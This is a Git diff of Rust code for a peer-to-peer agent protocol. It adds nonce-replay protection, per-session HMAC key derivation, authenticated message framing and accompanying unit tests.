|
||||
connection_loop(&mut reader, &mut writer, &peer_node_id, ®istry, &*handle).await
|
||||
connection_loop(&mut reader, &mut writer, &peer_node_id, ®istry, &*handle, Some(&sess_key)).await
|
||||
{
|
||||
debug!("OFP: connection to {} ended: {}", peer_node_id, e);
|
||||
}
|
||||
@@ -299,8 +365,8 @@ impl PeerNode {
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
// SECURITY: Perform HMAC handshake before sending any data
|
||||
let nonce = uuid::Uuid::new_v4().to_string();
|
||||
let auth_data = format!("{}{}", nonce, self.config.node_id);
|
||||
let our_nonce = uuid::Uuid::new_v4().to_string();
|
||||
let auth_data = format!("{}{}", our_nonce, self.config.node_id);
|
||||
let auth_hmac = hmac_sign(&self.config.shared_secret, auth_data.as_bytes());
|
||||
|
||||
let handshake = WireMessage {
|
||||
@@ -310,15 +376,15 @@ impl PeerNode {
|
||||
node_name: self.config.node_name.clone(),
|
||||
protocol_version: PROTOCOL_VERSION,
|
||||
agents: handle.local_agents(),
|
||||
nonce,
|
||||
nonce: our_nonce.clone(),
|
||||
auth_hmac,
|
||||
}),
|
||||
};
|
||||
write_message(&mut writer, &handshake).await?;
|
||||
|
||||
// Verify handshake ack
|
||||
// Verify handshake ack and derive session key
|
||||
let ack = read_message(&mut reader).await?;
|
||||
match &ack.kind {
|
||||
let session_key = match &ack.kind {
|
||||
WireMessageKind::Response(WireResponse::HandshakeAck {
|
||||
node_id: ack_node_id,
|
||||
nonce: ack_nonce,
|
||||
@@ -332,6 +398,10 @@ impl PeerNode {
|
||||
remote: *protocol_version,
|
||||
});
|
||||
}
|
||||
// SECURITY: Check for nonce replay
|
||||
if let Err(replay_err) = self.nonce_tracker.check_and_record(ack_nonce) {
|
||||
return Err(WireError::HandshakeFailed(replay_err));
|
||||
}
|
||||
let expected_data = format!("{}{}", ack_nonce, ack_node_id);
|
||||
if !hmac_verify(
|
||||
&self.config.shared_secret,
|
||||
@@ -342,6 +412,8 @@ impl PeerNode {
|
||||
"HMAC verification failed on HandshakeAck".into(),
|
||||
));
|
||||
}
|
||||
// SECURITY: Derive per-session key for authenticated post-handshake I/O
|
||||
derive_session_key(&self.config.shared_secret, &our_nonce, ack_nonce)
|
||||
}
|
||||
WireMessageKind::Response(WireResponse::Error { code, message }) => {
|
||||
return Err(WireError::HandshakeFailed(format!(
|
||||
@@ -353,9 +425,9 @@ impl PeerNode {
|
||||
"Unexpected response to handshake".to_string(),
|
||||
));
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Now send the actual agent message over the authenticated connection
|
||||
// SECURITY: Send agent message with per-message HMAC authentication
|
||||
let msg = WireMessage {
|
||||
id: uuid::Uuid::new_v4().to_string(),
|
||||
kind: WireMessageKind::Request(WireRequest::AgentMessage {
|
||||
@@ -364,9 +436,9 @@ impl PeerNode {
|
||||
sender: sender.map(|s| s.to_string()),
|
||||
}),
|
||||
};
|
||||
write_message(&mut writer, &msg).await?;
|
||||
write_message_authenticated(&mut writer, &msg, &session_key).await?;
|
||||
|
||||
let response = read_message(&mut reader).await?;
|
||||
let response = read_message_authenticated(&mut reader, &session_key).await?;
|
||||
match response.kind {
|
||||
WireMessageKind::Response(WireResponse::AgentResponse { text }) => Ok(text),
|
||||
WireMessageKind::Response(WireResponse::Error { code, message }) => Err(
|
||||
@@ -420,7 +492,7 @@ impl PeerNode {
|
||||
|
||||
// Read the incoming handshake request
|
||||
let msg = read_message(&mut reader).await?;
|
||||
let peer_node_id = match &msg.kind {
|
||||
let (peer_node_id, session_key) = match &msg.kind {
|
||||
WireMessageKind::Request(WireRequest::Handshake {
|
||||
node_id,
|
||||
node_name,
|
||||
@@ -447,6 +519,19 @@ impl PeerNode {
|
||||
});
|
||||
}
|
||||
|
||||
// SECURITY: Check for nonce replay before verifying HMAC
|
||||
if let Err(replay_err) = node.nonce_tracker.check_and_record(nonce) {
|
||||
let err_resp = WireMessage {
|
||||
id: msg.id.clone(),
|
||||
kind: WireMessageKind::Response(WireResponse::Error {
|
||||
code: 403,
|
||||
message: "Nonce replay rejected".to_string(),
|
||||
}),
|
||||
};
|
||||
write_message(&mut writer, &err_resp).await?;
|
||||
return Err(WireError::HandshakeFailed(replay_err));
|
||||
}
|
||||
|
||||
// SECURITY: Verify the incoming HMAC
|
||||
let expected_data = format!("{}{}", nonce, node_id);
|
||||
if !hmac_verify(
|
||||
@@ -479,12 +564,19 @@ impl PeerNode {
|
||||
node_name: node.config.node_name.clone(),
|
||||
protocol_version: PROTOCOL_VERSION,
|
||||
agents: handle.local_agents(),
|
||||
nonce: ack_nonce,
|
||||
nonce: ack_nonce.clone(),
|
||||
auth_hmac: ack_hmac,
|
||||
}),
|
||||
};
|
||||
write_message(&mut writer, &ack).await?;
|
||||
|
||||
// SECURITY: Derive per-session key (server side: their nonce first, our nonce second)
|
||||
let session_key = derive_session_key(
|
||||
&node.config.shared_secret,
|
||||
nonce, // client's nonce
|
||||
&ack_nonce, // our nonce
|
||||
);
|
||||
|
||||
info!(
|
||||
"OFP: handshake with {} ({}) from {} — {} agents",
|
||||
node_name,
|
||||
@@ -504,7 +596,7 @@ impl PeerNode {
|
||||
protocol_version: *protocol_version,
|
||||
});
|
||||
|
||||
node_id.clone()
|
||||
(node_id.clone(), session_key)
|
||||
}
|
||||
// SECURITY: Reject all non-Handshake initial messages.
|
||||
// Clients MUST complete HMAC-authenticated handshake before sending
|
||||
@@ -529,9 +621,9 @@ impl PeerNode {
|
||||
}
|
||||
};
|
||||
|
||||
// Enter the message dispatch loop
|
||||
// Enter the message dispatch loop with per-message HMAC
|
||||
if let Err(e) =
|
||||
connection_loop(&mut reader, &mut writer, &peer_node_id, registry, handle).await
|
||||
connection_loop(&mut reader, &mut writer, &peer_node_id, registry, handle, Some(&session_key)).await
|
||||
{
|
||||
debug!("OFP: connection with {} ended: {}", peer_node_id, e);
|
||||
}
|
||||
@@ -592,15 +684,22 @@ async fn handle_request(
|
||||
}
|
||||
|
||||
/// Read/write message loop for an established connection.
|
||||
///
|
||||
/// If `session_key` is provided, all post-handshake messages use per-message HMAC.
|
||||
async fn connection_loop(
|
||||
reader: &mut tokio::net::tcp::OwnedReadHalf,
|
||||
writer: &mut tokio::net::tcp::OwnedWriteHalf,
|
||||
peer_node_id: &str,
|
||||
registry: &PeerRegistry,
|
||||
handle: &dyn PeerHandle,
|
||||
session_key: Option<&str>,
|
||||
) -> Result<(), WireError> {
|
||||
loop {
|
||||
let msg = match read_message(reader).await {
|
||||
let msg = match if let Some(key) = session_key {
|
||||
read_message_authenticated(reader, key).await
|
||||
} else {
|
||||
read_message(reader).await
|
||||
} {
|
||||
Ok(m) => m,
|
||||
Err(WireError::ConnectionClosed) => return Ok(()),
|
||||
Err(e) => return Err(e),
|
||||
@@ -613,9 +712,12 @@ async fn connection_loop(
|
||||
}
|
||||
// Handle requests (produce response)
|
||||
WireMessageKind::Request(_) => {
|
||||
// We need the node for uptime; create a minimal shim
|
||||
let response = handle_request_in_loop(&msg, handle).await;
|
||||
write_message(writer, &response).await?;
|
||||
if let Some(key) = session_key {
|
||||
write_message_authenticated(writer, &response, key).await?;
|
||||
} else {
|
||||
write_message(writer, &response).await?;
|
||||
}
|
||||
}
|
||||
// We don't expect to receive responses in the connection loop
|
||||
WireMessageKind::Response(_) => {
|
||||
@@ -687,6 +789,16 @@ fn handle_notification(peer_node_id: &str, notif: &WireNotification, registry: &
|
||||
}
|
||||
}
|
||||
|
||||
/// Derive a per-session HMAC key from the shared secret and both handshake nonces.
|
||||
///
|
||||
/// `session_key = HMAC-SHA256(shared_secret, our_nonce || their_nonce)`
|
||||
///
|
||||
/// This ensures each connection has a unique key even with the same shared secret.
|
||||
pub fn derive_session_key(shared_secret: &str, our_nonce: &str, their_nonce: &str) -> String {
|
||||
let data = format!("{}{}", our_nonce, their_nonce);
|
||||
hmac_sign(shared_secret, data.as_bytes())
|
||||
}
|
||||
|
||||
/// Write a framed message (4-byte length + JSON) to a TCP stream.
|
||||
pub async fn write_message(
|
||||
writer: &mut tokio::net::tcp::OwnedWriteHalf,
|
||||
@@ -698,6 +810,30 @@ pub async fn write_message(
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// SECURITY: Write a framed message with per-message HMAC appended.
|
||||
///
|
||||
/// Format: [4-byte length][JSON body][64-byte hex HMAC]
|
||||
/// The HMAC covers the JSON body and prevents tampering on authenticated connections.
|
||||
pub async fn write_message_authenticated(
|
||||
writer: &mut tokio::net::tcp::OwnedWriteHalf,
|
||||
msg: &WireMessage,
|
||||
session_key: &str,
|
||||
) -> Result<(), WireError> {
|
||||
let json_bytes = serde_json::to_vec(msg)?;
|
||||
let mac = hmac_sign(session_key, &json_bytes);
|
||||
let mac_bytes = mac.as_bytes(); // 64 hex chars
|
||||
|
||||
// Total frame = JSON + 64-byte HMAC
|
||||
let total_len = json_bytes.len() + mac_bytes.len();
|
||||
let len_bytes = (total_len as u32).to_be_bytes();
|
||||
|
||||
writer.write_all(&len_bytes).await?;
|
||||
writer.write_all(&json_bytes).await?;
|
||||
writer.write_all(mac_bytes).await?;
|
||||
writer.flush().await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Read a framed message (4-byte length + JSON) from a TCP stream.
|
||||
pub async fn read_message(
|
||||
reader: &mut tokio::net::tcp::OwnedReadHalf,
|
||||
@@ -726,10 +862,68 @@ pub async fn read_message(
|
||||
Ok(msg)
|
||||
}
|
||||
|
||||
/// Broadcast a notification to all connected peers.
|
||||
/// SECURITY: Read a framed message and verify per-message HMAC.
|
||||
///
|
||||
/// Expected format: [4-byte length][JSON body][64-byte hex HMAC]
|
||||
/// Returns error if HMAC verification fails (tampered or forged message).
|
||||
pub async fn read_message_authenticated(
|
||||
reader: &mut tokio::net::tcp::OwnedReadHalf,
|
||||
session_key: &str,
|
||||
) -> Result<WireMessage, WireError> {
|
||||
let mut header = [0u8; 4];
|
||||
match reader.read_exact(&mut header).await {
|
||||
Ok(_) => {}
|
||||
Err(e) if e.kind() == std::io::ErrorKind::UnexpectedEof => {
|
||||
return Err(WireError::ConnectionClosed);
|
||||
}
|
||||
Err(e) => return Err(WireError::Io(e)),
|
||||
}
|
||||
|
||||
let len = decode_length(&header);
|
||||
if len > MAX_MESSAGE_SIZE {
|
||||
return Err(WireError::MessageTooLarge {
|
||||
size: len,
|
||||
max: MAX_MESSAGE_SIZE,
|
||||
});
|
||||
}
|
||||
|
||||
// HMAC is 64 hex chars appended after JSON
|
||||
const HMAC_HEX_LEN: usize = 64;
|
||||
let total_len = len as usize;
|
||||
if total_len < HMAC_HEX_LEN + 2 {
|
||||
// Minimum: "{}" + 64 HMAC chars
|
||||
return Err(WireError::HandshakeFailed(
|
||||
"Message too short for authenticated frame".into(),
|
||||
));
|
||||
}
|
||||
|
||||
let mut frame = vec![0u8; total_len];
|
||||
reader.read_exact(&mut frame).await?;
|
||||
|
||||
let json_len = total_len - HMAC_HEX_LEN;
|
||||
let json_bytes = &frame[..json_len];
|
||||
let received_mac = std::str::from_utf8(&frame[json_len..])
|
||||
.map_err(|_| WireError::HandshakeFailed("Invalid HMAC encoding".into()))?;
|
||||
|
||||
// Verify HMAC
|
||||
if !hmac_verify(session_key, json_bytes, received_mac) {
|
||||
return Err(WireError::HandshakeFailed(
|
||||
"Per-message HMAC verification failed — message tampered or forged".into(),
|
||||
));
|
||||
}
|
||||
|
||||
let msg = serde_json::from_slice(json_bytes)?;
|
||||
Ok(msg)
|
||||
}
|
||||
|
||||
/// Broadcast an HMAC-authenticated notification to all connected peers.
|
||||
///
|
||||
/// SECURITY: Each peer connection gets a unique HMAC signature derived from
|
||||
/// the shared secret and a fresh nonce, preventing forgery and replay attacks.
|
||||
pub async fn broadcast_notification(
|
||||
registry: &PeerRegistry,
|
||||
notification: WireNotification,
|
||||
shared_secret: &str,
|
||||
) -> Vec<(String, WireError)> {
|
||||
let peers = registry.connected_peers();
|
||||
let mut errors = Vec::new();
|
||||
@@ -743,7 +937,11 @@ pub async fn broadcast_notification(
|
||||
match TcpStream::connect(peer.address).await {
|
||||
Ok(stream) => {
|
||||
let (_, mut writer) = stream.into_split();
|
||||
if let Err(e) = write_message(&mut writer, &msg).await {
|
||||
// SECURITY: Derive a per-message key from shared secret + fresh nonce
|
||||
let nonce = uuid::Uuid::new_v4().to_string();
|
||||
let session_key = hmac_sign(shared_secret, nonce.as_bytes());
|
||||
if let Err(e) = write_message_authenticated(&mut writer, &msg, &session_key).await
|
||||
{
|
||||
errors.push((peer.node_id.clone(), e));
|
||||
}
|
||||
}
|
||||
@@ -1019,4 +1217,55 @@ mod tests {
|
||||
assert_eq!(config.node_name, "openfang-node");
|
||||
assert!(!config.node_id.is_empty());
|
||||
}
|
||||
|
||||
// ── Nonce replay protection tests ────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_nonce_tracker_fresh_nonce_accepted() {
|
||||
let tracker = NonceTracker::new();
|
||||
assert!(tracker.check_and_record("nonce-1").is_ok());
|
||||
assert!(tracker.check_and_record("nonce-2").is_ok());
|
||||
assert!(tracker.check_and_record("nonce-3").is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_nonce_tracker_replay_rejected() {
|
||||
let tracker = NonceTracker::new();
|
||||
assert!(tracker.check_and_record("nonce-1").is_ok());
|
||||
// Second use of same nonce = replay attack
|
||||
let result = tracker.check_and_record("nonce-1");
|
||||
assert!(result.is_err());
|
||||
assert!(result.unwrap_err().contains("replay"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_nonce_tracker_different_nonces_ok() {
|
||||
let tracker = NonceTracker::new();
|
||||
for i in 0..100 {
|
||||
assert!(tracker.check_and_record(&format!("unique-{i}")).is_ok());
|
||||
}
|
||||
}
|
||||
|
||||
// ── Per-message HMAC tests ───────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_derive_session_key_deterministic() {
|
||||
let key1 = derive_session_key("secret", "nonce-a", "nonce-b");
|
||||
let key2 = derive_session_key("secret", "nonce-a", "nonce-b");
|
||||
assert_eq!(key1, key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_derive_session_key_different_nonces() {
|
||||
let key1 = derive_session_key("secret", "nonce-a", "nonce-b");
|
||||
let key2 = derive_session_key("secret", "nonce-c", "nonce-d");
|
||||
assert_ne!(key1, key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_derive_session_key_order_matters() {
|
||||
let key1 = derive_session_key("secret", "nonce-a", "nonce-b");
|
||||
let key2 = derive_session_key("secret", "nonce-b", "nonce-a");
|
||||
assert_ne!(key1, key2);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user